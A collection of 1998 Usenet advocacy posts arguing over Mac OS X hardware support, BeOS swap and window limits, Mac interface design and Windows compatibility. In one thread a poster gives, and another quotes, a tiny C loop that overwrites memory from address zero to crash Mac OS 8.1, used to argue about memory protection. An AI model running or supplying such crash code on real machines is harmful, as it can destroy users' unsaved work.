> >> physical memory's worth of swap space right off the bat, I can have as
> >> many threads or semaphores or ports as I have memory for as far as I
> >> know, etc.
> >
> >Are you implying that BeOS requires "2x physical memory's worth of swap
> space
> >right off the bat"?
>
> Well, you can't set the swap to *less* than that, although if you physically
> don't have that much space on your BeOS partition it might use less.
"might use less" in actuality is "doesn't need any". If there isn't enough
free space for the minimum size swap file, no swap file is used at all. A
swap file is not required. And the minimum swap size varies depending on how
much physical ram there is. I have 128MB, and the minimum swap size is 1.5x.
It would be nice to make it smaller, but that's a pretty small gripe.
--
--Woohoo, this message posted from BeOS!
From: Greg Berigan <gberigan@cse.unl.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 21 Jul 1998 03:13:58 GMT
Organization: http://cse.unl.edu/~gberigan/
Distribution: world
Message-ID: <6p111m$h87$1@unlnews.unl.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com>
User-Agent: tin/pre-1.4-980618 (UNIX) (IRIX64/6.2 (IP25))
>> Therefore Apple lied.
Failure to honor a promise isn't lying, but it isn't something easily
tolerated either.
I've stuck with Apple even after purchasing the Apple IIe and Apple
IIgs. I bought Mac software before I even had a Mac to run it. When I
finally bought one, I got the 7500. I was sold on the PCI bus, PPC
processor, and especially the upgradeability.
But if upgrading this machine with a G3 processor still won't get me Mac
OS X, leaving me out of not only a new OS but also a whole new family of
programs which require that environment, I'm not sure if I'll be able to
bring myself to buy Apple anymore.
--
,=<#)-=# <http://incolor.inetnebr.com/wotw/> (The War of the Worlds)
,_--//--_,
_-~_-(####)-_~-_ Please pardon any typos. Bandwidth is often at a premium,
(#>_--'~--~`--_<#) with connection too sluggish to support post-editing.
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 23:39:37 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-018.phx.primenet.com
Message-ID: <not-2007982339380001@ip-26-018.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com>
NNTP-Posting-Date: 21 Jul 1998 06:37:40 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <see-below-2007981842580001@dynamic53.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> I totally agree. If a Mac has a PowerPC processor, PCI slots, ADB,
> SCSI...what does a G3 Mac have that older Macs lack? If all new G3 Macs
> had USB but no ADB or serial, FireWire but no SCSI, 66MHz PCI and AGP, or
> whatever, then I'd see the point, but as it is there's really no
> distinction between a "G3 PowerMac" and any other PCI PowerMac or
> compatible.
Very, very wrong. The G3 motherboard is extremely different than the
motherboard of a 604e upgraded to G3. Can you say "Open Firmware?" Can you
say "ROM in RAM?"
But the physical difference is NOT THE ISSUE, people. The issue is, can
Apple afford to waste time troubleshooting, testing, patching, and
debugging OS X through the hundreds of possible hardware configurations
available with G3-upgraded Macs alone, much less 604e machines?
How much longer do you really want to wait for OS X. Another year? Two?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: Gordon Mulcaster <see@my.sig.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: AWESOME PRICE ON G3!-SORRY!-imac is better!
Date: Tue, 14 Jul 98 20:12:08 -0800
Organization: Megadodo Publishing, Megadodo House, Ursa Minor
Distribution: world
Message-ID: <980714201047-see@my.sig.com>
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <jpolaski-0107980900420001@d151-216.ce.mediaone.net> <359b270f.0@carrera> <macghod-0307981339160001@sdn-ar-001casbarp058.dialsprint.net>
In article
<macghod-0307981339160001@sdn-ar-001casbarp058.dialsprint.net> of groups
comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,
Steve Sullivan writes:
> In article <359b270f.0@carrera>, court@nospam!intergate.bc.ca wrote:
>
> > Sorry pal, but I must disagree with you. The imac is a much better
> > deal.
[reasons snipped]
>
> Well, I disagree with you.
[reasons snipped]
And I disagree with you for one reason, OS X.
--
(__)
(oo) +-------------------------+
/-------\/ - | Don't have a Bart, man! |
/ | || +-------------------------+
* ||----||
~~ ~~
gordonm(at)portal.ca
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 23:42:48 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-018.phx.primenet.com
Message-ID: <not-2007982342490001@ip-26-018.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NNTP-Posting-Date: 21 Jul 1998 06:40:57 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> Rhapsody 1.0 ships. They then say, "oh btw, Rhapsody 2.0 isn't going
> to be compatible with as many machines as 1.0 because we're moving to
> a new kernel, which we need for good SMP." Would people be having a
> major shitfit?
>
> Somehow I really don't think so.
Ahhh, the voice of sanity. Amen, brother.
> The only difference is that the content of 2.0 has been upgraded, and
> the future incompatibility telegraphed quite early.
Early enough to give people plenty of time to plan for upgrading the
hardware. No last-minute suprises. Quite responsible of Apple, actually.
> I suppose they could have not said anything about hardware compatibility
> with OSX, saying "It's too far in the future to tell.". Then when it
> comes out, people start whining that Apple didn't give them enough advanced
> notice.
Ah yes, there are those among us who feel it is their only function to
complain and kibitz.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 00:25:09 +1000
Organization: University of Queensland
Message-ID: <6p28co$794$1@bunyip.cc.uq.edu.au>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-2107980812360001@0.0.0.0...
>In article <6p1e3r$ub9$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>> Michael M. Eilers <not@a.valid.email.add> wrote in message
>> not-2007982335410001@ip-26-018.phx.primenet.com...
>> >In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
>> >qwerty.x@algonet.se (Magnus Thoor) wrote:
>> The difference being, Win95 will run (usably even) on machines built
about 4
>> years before it was released. Apple can't even commit to OS X running on
>> machines that will be barely *18 months* old at its release.
>
>There are sometimes cut-off points. Until MacOS 8, Apple was fully
>supporting 13 year old machines. Mac OS 8.1 fully supports machines going
>back 8 years.
Yes, buyt one would hope that the "cut off point" was a little bigger than
18 frigging months. Certainly if Win98 had *required* a PentiumMMX, and/or
the next version of NT *required* a pII to run I would be not only
surprised, but disgusted. The fact Apple cannot commit to supporting at
least all PPC Macs (or even just the PCI PPC Macs) shows either a severe
lack of foresight in the hardware design, or a severe lack of programming
skill in the development team.
>
>Win95 isn't as wonderful as you're pointing out. At the time of its
>release, a lot of people were talking about scrapping year old machines to
>get Win95 to run well.
Yes, but there is a *huge* difference between "run well" and "run at all".
It is possible to run Win95 on machines that were originally built in 1987.
It is possible to run Win98 on machines that were originally built in 1993.
It is possible to run NT 3.51 on machines originally built in 1987. It is
possible to run NT4 on machines originally built in 1989. It will be
possible to run NT5 on machines originally built in 1993. Microsoft can
provide decent backwards compatibility on a platform as diverse and
uncontrolled as the PC, yet Apple cannot give a guarantee they can write
their OS to support a platform they have essentially owned and controlled
since its inception any further back than 18 months ? Like I said, if MS
told me I wouldn't be able to run NT on any PCs made before 1997 I would be
feeling extremely shafted. To me this is just an example of Apple's extreme
greed.
>Heck, even for Win98, there was a MS press release
>recently suggesting that if people want to run Win98 without trouble, they
>should get a new PC.
A "suggestion" is a bit different from a "requirement".
>
>And don't even get me started on OS/2.
OS/2 has never had particularly good hardware support, mainly due the IBM's
"anti-marketing" techniques. Damn shame actually, OS/2 is a *great*
Operating System.
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: Osma Ahvenlampi <oahvenla@bounce.mail>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 17:23:26 +0300
Organization: Telia Finland
Message-ID: <m3vhor5llt.fsf@ws142.spray.fi>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com>
Mime-Version: 1.0 (generated by tm-edit 7.106)
Content-Type: text/plain; charset=US-ASCII
kcd@babylon5.jumpgate.com (Kenneth C. Dyke) writes:
> And on the BeOS front, Be still seems to have a long way to go to build
> an OS that you can't walk up to and hang in about 30 seconds -- without
> even writing some nasty code. And this from a 'bug' that was reported
> as long ago as DR8.2 I think, and got marked as 'will not fix'. (In
> case anyone cares, this is related to the fact that the application
> server in BeOS uses one thread per window or offscreen bitmap, and
> threads in BeOS currently have a fixed stack size -- app_server
> eventually runs out of stack space for threads). Any modern OS that
> will hang if the user opens 'too many' windows is in need of some
> serious help.
Ken, in all fairness, I think I've mentioned to you that I tested this
and noticed that, yes, you can "hang" the machine so that it will not
create windows any more, but if you close all those windows you
created, it will go on as if nothing had happened. In general, my
tests have found it to be pretty good with recovering from resource
starving - it will come back after you've starved it of memory,
message ports, semaphores, and so on.
Let me know when you come up with a reasonable case where a user might
create 200 windows "without even writing some nasty code", by the
way. ;) NT usually becomes unusable when you have enough apps running
to amount to 50 windows. Creating that much of them is pretty likely
to make you unable to figure out what the hell is going on in all of
them long before the system itself is exhausted.
--
In case of doubt, make it sound convincing.
Osma Ahvenlampi <oa at iki fi> (damn spammers)
From: Osma Ahvenlampi <oahvenla@bounce.mail>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 17:27:05 +0300
Organization: Telia Finland
Message-ID: <m3pvez5lfq.fsf@ws142.spray.fi>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com>
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Corey <corey@virtual-impact.com> writes:
> pretty damned sound platform for people have to go to such lengths as
> complain about not being able to open 200+ windows at the same time
> with a single app.
It's around 200 windows total over ALL apps - app_server needs a
thread for each as well, so that's a "single point of failure", as the
term goes.
"Charles W. Swiger" <chuck@codefab.com> writes:
> I don't like software that comes with arbitrary limitations. It tends to be
> indicative of sloppy design and lazy (in the negative sense) programmers.
> Still, you are right that this limitation of the BeOS is very unlikely to
> affect reasonable situations.
The limitation isn't arbitrary. It's a matter of running out of
address space in one of the system teams (processes), and the "limit"
would be much higher on a machine with a larger address space (such as
a P-II with all 36 bits of addressing in use).
--
It is impossible to make anything foolproof because fools are so ingenious.
Osma Ahvenlampi <oa at iki fi> (damn spammers)
From: qwerty.x@algonet.se (Magnus Thoor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 16:34:49 +0200
Organization: Algonet/Tninet
Message-ID: <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> > Want prof? Try this on your "stable 8.1":
> >
> > main() {
> > long*addr=0;
> > while(1) {
> > *addr++=1;
> > }
> > }
> >
> > Don't forget to save any unsaved work before....
>
> BFD.
>
> Try this:
>
> fdisk
>
> It's possible to intentionally mess up any system.
Nice try. The difference is that your example shows that it's possible
to intentionally do damage to any system (what else is new?). While my
example shows that 8.1 is very venerable to bugs in applications,
letting them freely wreak havoc with the entire system. That's simply
not acceptable by today's standards.
>What matters is how the
> system works in real life.
That's exactly what I mean. It's mighty annoying to have to reboot
whenever I make a small programming error under 8.1. Or to loose work in
MS Word just because Netscape is locking up. Not my idea of being more
productive.
And that's why sticking with pre OS X simple isn't an option for most
first generation PCI Mac (and other) users. Heck, if I'd wanted to stick
to running obsolete SW I could have saved me a lot of time and money by
running DOS. Now that Apple has eternally doomed this machine to run
their equivalent to DOS anyway.
Magnus
--
Delete spamblocker '.x' to reply via email
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Tue, 21 Jul 1998 08:23:47 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6p24r7$sfm$1@fir.prod.itd.earthlink.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0>
Joe Ragosta wrote in message ...
>In article <6p1l6e$11l$1@news2.ispnews.com>, Earl Malmrose
><malmrose@nospam.jetcity.com> wrote:
>> > Well, you can't set the swap to *less* than that, although if you
>>>physically don't have that much space on your BeOS partition it >>might
use less.
>> "might use less" in actuality is "doesn't need any". If there isn't
>>enough free space for the minimum size swap file, no swap file is >>used
at all. A swap file is not required. And the minimum swap size >>varies
depending on how much physical ram there is. I have 128MB, >>and the
minimum swap size is 1.5x. It would be nice to make it >>smaller, but
that's a pretty small gripe.
>Hmmm. I notice that when someone wants to criticize Mac OS for its >fixed
VM swap file, it's a very bad thing. But with BeOS, it's a pretty >small
gripe.
You have noted Earl Malmrose making that complaint about the MacOS? If so,
then your statement is valid, otherwise you're just blowing hot air. Not
that the BeOS swap file is really all that fixed, it just can't
be made smaller than 1.5x the memory size in the configuration(though
it can be smaller than that you just have to fight the system). It should
be fixed though, since the solution wouldn't be that hard, would it?
From: Gordon Mulcaster <see@my.sig.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Re: Apple, replace g3's floppy with superdisk!!
Date: Tue, 14 Jul 98 20:07:09 -0800
Organization: Megadodo Publishing, Megadodo House, Ursa Minor
Distribution: world
Message-ID: <980714200643-see@my.sig.com>
References: <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com> <35aa8d72.340166712@news.clark.net>
In article <35aa8d72.340166712@news.clark.net> of groups
comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,
comp.sys.mac.system, John writes:
> Obtw troll, you can get a 2 button mouse for your Mac.
That would be a step down from my four button mouse... :-)
--
... of course that's just my opinion. I could be wrong."
-- Dennis Miller
gordonm(at)portal.ca
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 10:12:59 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de>
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In-Reply-To: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de>
On Tue, 21 Jul 1998, Michael Schuerig wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On Mon, 20 Jul 1998, Michael Schuerig wrote:
> >
> > > Pulsar <tokarek@uiuc.edu> wrote:
> > >
<snip>
> > Oh, come on. Are you dismissing that issue because there is a non-obvious
> > solution? The UI should be intuitive. It should be easy. How are people
> > going to know about put away? Why is that an _obvious_ way to deal with
> > the problem?
>
> Do you have any better idea? Then please suggest it to Apple.
No, I don't have any better idea. That should not prevent Apple from
addressing this issue. Apple has the resources and people whose job it is
to come up with ideas to do these things.
I can think of a few things, but I don't know whether they would really be
any better than what we have already.
> And it is being fixed. I mean, as if you wouldn't know that Mac OS 8.5
> will have Navigation Services. Of course I agree that modal dialogs are
> bad in most cases, but _I_ don't see why I should complain about
> StandardFile dialogs _now_. Very soon it's an annoyance of the past.
Not really. Applications will have to be modified to support Navigations
Services. None of the applications you have installed on your machine now
will support that when you plop Mac OS 8.5 on your machine.
Furthermore, it has taken Apple 14 and a half years to fix this. This has
always been high on the list of complaints about the Mac UI for as long as
I remember. There is no reason why we couldn't have had something like
Navigation Services years ago. Apple just futzed away with other things.
> > The menu system could be better. Having a menu bar that stretches across
> > the entire screen wastes space particularly on large screens where there
> > are far too few menu choices to fill up even a majority of the space.
> >
> > See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
> > might be better.
>
> You sure have heard about Fitts' Law?
Fitt's Law?
> But anyway, a more flexible menu
> system would be a plus. So that anyone can configure it to their hearts
> content. If it means that I can have the menus the way I like them and
> you can have the menus the way you like them -- fine.
Yes, but what are we getting? Are we getting the ability to do what's on
that page above? Or are we just getting the same old Mac UI?
> > > Don't get me wrong, I'm not trying to tell you to take the Mac UI as
> > > it's always been and shut up. I'm always open for improvements, but
> > > first I've got to understand what improvements you have in mind.
> >
> > The improvements I have in mind are not necessarily the best. I do not
> > have a monopoly on good ideas (or bad ones either ;). I am just saying
> > that there are problems with many facets to the Mac OS that _could_ be
> > addressed. Apple seems to be addressing some of them with Mac OS 8.5 and
> > such, but there are a lot left that need to be better done before I think
> > they can say that they have the best UI in the world and be proud of it.
>
> What I find curious is, that all of your suggested changes are
> incremental.
Why is that curious?
> Either you're complaining about missing consistency or you
> suggest changes that can be taken as additional degrees of freedom for
> the current UI. In effect that means, I see no in-principle reason why
> Apple could not come up with something similar to your suggestions.
Indeed. Now ask yourself why Apple isn't exploring these things? Why are
we going to be stuck with a Mac UI that still has a lot of problems?
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 10:35:15 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3>
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On Mon, 20 Jul 1998, tse_di wrote:
> At the moment I think the Mac interface is better than anything else out
> there but it is not THAT much better. There are areas in other OS's that
> are better and there is a lot of room for improvement. If the the Mac is
> too survive it needs to be more than better. It needs to be *compellingly*
> better and improving. It should also be more flexible to better fit
> particular users.
Yes!
> By the way I like those menus in terms of funtion and flexiblity. Just of
> of curiousity do you believe a menu should be tied to the upper left hand
> corner? or moveable (a la windows 95 taskbar)
They would be fully movable windows that could sit anywhere on the screen.
It might be nice though if the sides were sticky so that it's easier to
anchor the menu windows to a side or corner of the screen.
Also, I envision these as being floating windows (as I think NeXT's are).
This way documents and such can't cover up the menu. (Just in case this
wasn't clear from the mock ups).
I hope to have a working Macintosh program showing the behavior of this
system in a while. In the process of writing the program, I'm learning
Macintosh programming so it's not going very quickly.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Tue, 21 Jul 1998 11:35:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2107981135290001@wil93.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>
In article <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > > Want prof? Try this on your "stable 8.1":
> > >
> > > main() {
> > > long*addr=0;
> > > while(1) {
> > > *addr++=1;
> > > }
> > > }
> > >
> > > Don't forget to save any unsaved work before....
> >
> > BFD.
> >
> > Try this:
> >
> > fdisk
> >
> > It's possible to intentionally mess up any system.
>
> Nice try. The difference is that your example shows that it's possible
> to intentionally do damage to any system (what else is new?). While my
> example shows that 8.1 is very venerable to bugs in applications,
> letting them freely wreak havoc with the entire system. That's simply
> not acceptable by today's standards.
Which do you think is more likely--for an end-user to do something
incredibly stupid or for a programmer to use the code snippet you posted
above and not catch it?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Chris Myers <jmyers1@gmu.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 09:27:45 -0400
Organization: George Mason University, Fairfax, Virginia, USA
Message-ID: <35B4974C.6D9@gmu.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0>
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In fairness to IBM, OS1 IS a more stable operating system than W95 was..
cm
From: qwerty.x@algonet.se (Magnus Thoor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 18:10:04 +0200
Organization: Algonet/Tninet
Message-ID: <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se>
